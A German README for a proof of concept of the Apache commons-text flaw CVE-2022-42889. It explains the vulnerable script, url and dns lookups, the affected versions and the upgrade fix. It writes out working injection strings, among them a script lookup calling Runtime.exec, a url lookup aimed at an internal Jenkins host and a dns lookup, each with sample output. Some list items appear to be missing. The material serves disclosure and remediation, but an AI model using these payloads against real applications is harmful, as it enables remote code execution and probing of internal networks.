
Proof of Concept für die Apache commons-text-Schwachstelle CVE-2022-42889.
Dies ist ein Proof-of-Concept für die Sicherheitslücke CVE-2022-42889. Dieser Code führt den JavaScript-Code 195 + 324 aus. Falls anfällig, sollte die Ausgabe sein:
PoC Output: 519
Um dies auszuführen, benötigen Sie:
Wenn Sie nach einem Exploit-String gefragt werden, können Sie entweder Ihren eigenen Exploit-String angeben (und Enter drücken, um den String einzugeben) oder einfach Enter drücken, um den Standard-Exploit-String ${script:javascript:195 + 324} zu verwenden.
Alternativ können Sie Docker verwenden, um dieses PoC auszuführen:
docker build -t poc .
docker run -it poc
Das Problem rührt daher, dass die folgenden Schlüssel standardmäßig nicht interpoliert werden sollten (gemäß der Dokumentation https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlDieses Lookup ermöglicht die Ausführung des bereitgestellten JavaScript-Codes. Das Ergebnis ist die Fähigkeit eines Angreifers, beliebigen Code auf dem System auszuführen.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
Beispiel im PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
Dieses Lookup ruft die angegebene URL auf. Ein Angreifer könnte dies ausnutzen, um grundlegende GET-Anfragen an interne Ressourcen zu stellen.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
Beispiel im PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
Dieses Lookup führt eine DNS-Abfrage oder einen Reverse-Lookup durch. Dies könnte einem Angreifer ermöglichen, interne Ressourcen zu identifizieren.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
Beispiel im PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
Aufgrund eines logischen Fehlers werden diese 3 Schlüssel jedoch standardmäßig interpoliert, obwohl sie es nicht sollten (da sie ein Sicherheitsrisiko darstellen könnten).
Ein Angreifer, der Kontrolle über den String hat, der in eine betroffene StringSubstitutor-Ersetzung übergeben wird, könnte dem Angreifer ermöglichen:
StringSubstitutor-Code ausführtDamit Ihr Code verwundbar ist, müssen folgende Bedingungen erfüllt sein:
Sie verwenden eine Version von Apache commons-text von Version 1.5.0 bis (ausschließlich) 1.10.0
Sie verwenden Interpolation für Ihre StringSubstitution (siehe https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
Beachten Sie, dass in JDK 15 und später die JavaScript-Engine Nashorn nicht mehr enthalten ist. Allerdings ist die JEXL-Engine weiterhin enthalten, sodass RCE möglicherweise weiterhin möglich ist.
Die Behebung besteht darin, Ihre Instanzen von commons-text auf Version 1.10.0 oder höher zu aktualisieren.
Die anderen Standard-Lookups könnten ebenfalls ein Sicherheitsrisiko darstellen (z. B. die Möglichkeit, Dateiinhalte zu lesen, Systemeigenschaften zu lesen usw.). Verwenden Sie diese Funktion mit Vorsicht und stellen Sie sicher, dass alle Benutzereingaben ordnungsgemäß bereinigt werden (z. B. durch eine Positivliste).